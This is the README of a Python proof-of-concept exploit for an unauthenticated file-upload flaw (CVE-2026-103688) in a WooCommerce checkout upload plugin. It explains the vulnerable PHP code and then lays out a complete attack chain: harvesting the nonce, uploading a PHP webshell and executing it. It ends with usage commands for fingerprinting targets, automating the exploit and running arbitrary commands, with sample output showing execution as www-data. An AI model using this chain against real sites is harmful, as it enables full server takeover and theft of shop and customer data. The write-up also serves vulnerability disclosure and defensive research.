
Python PoC exploiting CVE-2026-103688 in Checkout Files Upload for WooCommerce < 2.4.0: fingerprints the plugin, uploads a PHP payload unauthenticated, and achieves RCE.
Unauthenticated arbitrary file upload leading to remote code execution (RCE)
Author: NØXCRYPT · @noxcrypt-x
Disclaimer: This repository is provided for security research and authorized testing only. Do not use it against systems you do not own or have explicit permission to test. The author is not responsible for any misuse.
Repository contents: PoC script and documentation only. The plugin sources (
src/), WooCommerce archives (*.zip), and local lab files are not included.
| Product | Checkout Files Upload for WooCommerce (WordPress plugin by WP Wham) |
| Affected versions | All versions before 2.4.0 |
| Fixed in | 2.4.0 (released October 20, 2026) |
| Class | CWE-434 — Unrestricted Upload of File with Dangerous Type |
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Identifiers | CVE-2026-103688 |
| Source review | 2.3.0 (Stable tag: 2.3.0) |
Checkout Files Upload for WooCommerce lets customers upload files during or after checkout. Each uploader has an Accepted file types setting. When that setting is left empty, the plugin documents the behavior as "accept all files" — and validate_file_type() skips validation completely.
The AJAX handler alg_ajax_file_upload is registered for both wp_ajax_ and wp_ajax_nopriv_, so unauthenticated visitors can call it. The nonce it requires is generated with action wpwham-checkout-files-upload-<order_id> and printed into the checkout HTML as a hidden input; before checkout, order_id is 0, so any visitor can obtain a valid nonce.
The uploaded file is first moved to a temporary file. On order creation, add_files_to_order() writes it to:
wp-content/uploads/woocommerce_uploads/alg_uploads/checkout_files_upload/<order_id>_<uploader>_<key>.<ext>
The original extension is preserved. A .php upload therefore becomes an executable PHP file in a public directory.
Impact: webshell upload and execution → full server compromise.
includes/class-alg-wc-checkout-files-upload.php — validate_file_type():
$files_accepted = get_option( 'alg_checkout_files_upload_file_accept_' . $file_uploader, '.jpg,.jpeg,.png' );
if ( $files_accepted > '' ) {
$files_accepted = array_map( 'trim', explode( ',', strtolower( $files_accepted ) ) );
if ( is_array( $files_accepted ) && ! empty( $files_accepted ) ) {
$checked_file = wp_check_filetype_and_ext( $file['tmp_name'], $file['name'] );
$file_ext = strtolower( '.' . $checked_file['ext'] );
if ( empty( $checked_file['ext'] ) || ! in_array( $file_ext, $files_accepted ) ) {
// reject
}
}
}
If the admin leaves the setting blank, $files_accepted > '' is false and the entire check is skipped. The upload is accepted regardless of extension or MIME type.
The handler is available to logged-out users:
add_action( 'wp_ajax_alg_ajax_file_upload', array( $this, 'alg_ajax_file_upload' ) );
add_action( 'wp_ajax_nopriv_alg_ajax_file_upload', array( $this, 'alg_ajax_file_upload' ) );
alg_ajax_file_upload() verifies only the nonce and the presence of $_FILES['file'] and $_POST['file_uploader'].
includes/class-alg-wc-checkout-files-upload.php:
$html .= '<input type="hidden" id="wpwham-checkout-files-upload-nonce-' . $file_uploader . '" ' .
'name="wpwham-checkout-files-upload-nonce-' . $file_uploader . '" ' .
'value="' . wp_create_nonce( 'wpwham-checkout-files-upload-' . $order_id ) . '">';
Before checkout, $order_id is 0. The nonce is created for wpwham-checkout-files-upload-0 and is available to every visitor who loads the checkout page.
add_files_to_order() (and add_file_to_order() for an existing order):
$ext = pathinfo( $file_name, PATHINFO_EXTENSION );
$download_file_name = $order_id . '_' . $i . '_' . $file_key . '.' . $ext;
$file_path = $upload_dir . '/' . $download_file_name;
file_put_contents( $file_path, file_get_contents( $tmp_file_name ) );
Nothing checks the extension again at this stage, and the path is publicly accessible.
php).wpwham-checkout-files-upload-0.multipart/form-data request to /wp-admin/admin-ajax.php with:
action=alg_ajax_file_uploadnoncefile_uploader=1file=shell.phporder_id and matching nonce are used)./wp-content/uploads/woocommerce_uploads/alg_uploads/checkout_files_upload/<order_id>_<uploader>_<key>.php
File: checkout_cve_2026_103688.py (Python 3, requires only requests).
pip install -r requirements.txt
▍ CVE-2026-103688 · CVSS 9.8 Critical · CWE-434
▍ Checkout Files Upload < 2.4.0 → unauthenticated upload → RCE
▍ exploit by NØXCRYPT · noxcrypt-x
Colors are enabled automatically on modern terminals and can be disabled with --no-color. With --json, the banner and human-readable messages are suppressed.
python checkout_cve_2026_103688.py -u https://target --detect
Example output:
▍ FINGERPRINT
▍ target https://target
▍ plugin Checkout Files Upload 2.3.0
▍ status VULNERABLE (< 2.4.0)
python checkout_cve_2026_103688.py -u https://target \
--checkout-url https://target/checkout/ --complete
--complete adds a product to the cart (if needed), recovers the nonce, uploads the payload, submits the classic checkout to create an order, and verifies execution.
python checkout_cve_2026_103688.py -u https://target \
--checkout-url https://target/checkout/ \
--order-id 42 --nonce '<nonce>' --file shell.php
Important: when using
--order-id, the nonce must have been minted for that order. A nonce from the normal checkout page is minted for order0and will be rejected bywp_verify_nonce(). If you do not have an order-specific nonce, use--completeinstead.
python checkout_cve_2026_103688.py -u https://target \
--checkout-url https://target/checkout/ --complete --exec "id"
# [+] command output (id): 'uid=33(www-data) gid=33(www-data) ...'